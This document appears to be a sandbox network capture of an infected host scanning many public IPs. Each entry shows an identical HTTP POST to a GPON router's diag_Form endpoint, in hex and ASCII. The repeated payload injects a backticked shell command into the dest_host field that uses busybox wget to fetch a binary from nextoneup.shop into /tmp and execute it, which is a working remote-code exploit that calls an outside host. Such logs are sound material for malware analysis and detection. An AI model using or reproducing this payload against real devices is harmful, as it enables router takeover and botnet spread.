Apr 14, 2024 03:59:49.708142996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	45858	94.170.51.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708180904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	56738	212.104.144.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708193064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	42560	202.36.201.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708230019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	45584	212.43.106.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708267927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	48584	210.157.201.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708282948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	40494	42.95.35.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708318949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	41500	123.38.40.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708375931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	43766	202.234.122.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708403111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	39370	123.67.40.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708425045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	53330	79.131.246.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708475113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	41122	118.30.234.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708508015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	52660	37.205.15.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708532095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	51910	178.167.220.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708563089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	38008	148.31.140.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708579063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	37850	94.80.130.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708611965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	52270	202.81.120.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708641052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	44948	37.56.218.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708662987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	33450	178.251.122.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708683014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	52532	148.235.119.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708693981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	51118	94.201.146.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708730936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	42658	210.254.91.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708760023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	46172	212.101.69.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708797932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	55652	5.71.151.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708826065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	43486	178.110.16.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708862066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	37938	109.41.232.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708894968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
